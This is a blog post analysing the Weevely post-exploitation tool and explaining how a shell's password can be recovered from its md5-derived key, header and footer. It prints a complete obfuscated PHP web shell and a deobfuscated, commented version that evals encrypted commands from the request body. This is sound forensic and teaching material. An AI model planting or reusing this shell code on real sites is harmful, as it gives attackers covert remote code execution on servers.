Recovering the password of a Weevely web shell


2022-10-17

Writing the title of this blog post made me realize I might have a problem with wanting to recover passwords for everything.

Anyhow, this post is about Weevely, a post-exploitation tool that enables authenticated interaction with web shells (Weevely agents) in a telnet-like way. It also offers 30+ modules to aid in horizontal/lateral escalation.

The SANS DFIR Youtube channel has a nice (but quite long) video on Hunting and Dissecting the Weevely Web Shell, it’s worth a watch if you’ve just discovered Weevely.

TL;DR

The encryption key and user input header/footer tags are derived from the MD5 hash of the web shell’s password.

md5(password) = key(8) || header(12) || footer(12)

Deobfuscating the web shell

NB (2023-07-12): the default obfuscator is now phar. The cleartext1_php obfuscator is used on the webshell before it’s packaged as a PHAR archive. It can be extracted with phar extract -f webshell.php

Recovering the password implies understanding how the web shell uses it. Below are the contents of a Weevely web shell generated with the default agent and obfuscator templates.

<?php
$q='cont**en*ts();@ob_end_*c*lean();$*r=@base6*4_encode(@x(*@gz*compr*ess($o*),$k)*);p*rint("$p$*kh$r$kf");}';
$I=str_replace('ef','','efcreaeftefe_fuefnefctefion');
$b='$k*){$c=*strle*n($k);*$*l=strlen($t);$o=""*;for($*i*=0;$i<$l;){for(*$j=0**;(*$j<$c&&$i<$l*);$j++,$i+**+)';
$J='{$o.=*$t{$i}^$k*{$j*};}}re*turn $o;}i**f *(@preg_match("/$kh(*.+)$*kf*/",@fil*e_g*et*_con*tents(*"php:/';
$C='$k=**"793161ba";$k*h=*"475a30b7*f2ce*";$kf="beb*a189a6f9*f";$*p="*W63CQ4qe*G0ZLRA2L";f*u*nc*tion x(*$t,';
$B='/input"),$m)**==1) *{@ob*_start();@eva*l(@gzu*ncompress(*@x(*@base*64_**decod*e($m[1]),$k)));$o=*@ob_g*et_';
$f=str_replace('*','',$C.$b.$J.$B.$q);
$r=$I('',$f);$r();
?>

It may look hard to read but it’s quite easy to deobfuscate. The only “important” line is the last one as it creates a function containing the deobfuscated payload before calling it. The deobfuscated web shell is shown below, indented and commented for the sake of clarity.

“Fun” fact, PHP strings can be called like functions without the need to evaluate the strings first (for example: "phpinfo"() is perfectly valid). Whoever thought this was a good idea should seek professional help.

$k  = "793161ba";         // encryption key
$kh = "475a30b7f2ce";     // input header
$kf = "beba189a6f9f";     // input footer
$p  = "W63CQ4qeG0ZLRA2L"; // prepend

// Repeated-key XOR
function x($t, $k) {
	$c = strlen($k);
	$l = strlen($t);
	$o = "";
	for($i=0; $i<$l; ){
		for($j=0; ($j<$c && $i<$l); $j++, $i++){
			$o .= $t{$i} ^ $k{$j};
		}
	}
	return $o;
}

// 1. Check if the command starts/ends with the header/footer
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
	@ob_start();
	// 2. Decodes, decrypts, uncompresses, and evaluates the command
	@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
	$o=@ob_get_contents();
	@ob_end_clean();
	// 3. Compresses, encrypts, and encodes the output of the command
	$r=@base64_encode(@x(@gzcompress($o),$k));
	print("$p$kh$r$kf");
}

Recovering the password

The generate subcommand calls the generate.generate method with the password as a parameter (1). This method creates a Template object and renders the password into it (2). It uses the default template obfpost_php, looking inside the corresponding .tpl file shows how the password is used to derive $k, $kh, and $kf (code snippet below).

<%! import hashlib, utils, string %><%
passwordhash = hashlib.md5(password.encode('utf-8')).hexdigest().lower()
key = passwordhash[:8]              # $k
header = passwordhash[8:20]         # $kh
footer = passwordhash[20:32]        # $kf
# [...]

Steps :

  1. generate.generate(...)
  2. agent = Template(templatefile.read()).render(...)
  3. passwordhash = hashlib.md5(...)

All that’s left to do is brute-force the hash to recover the password.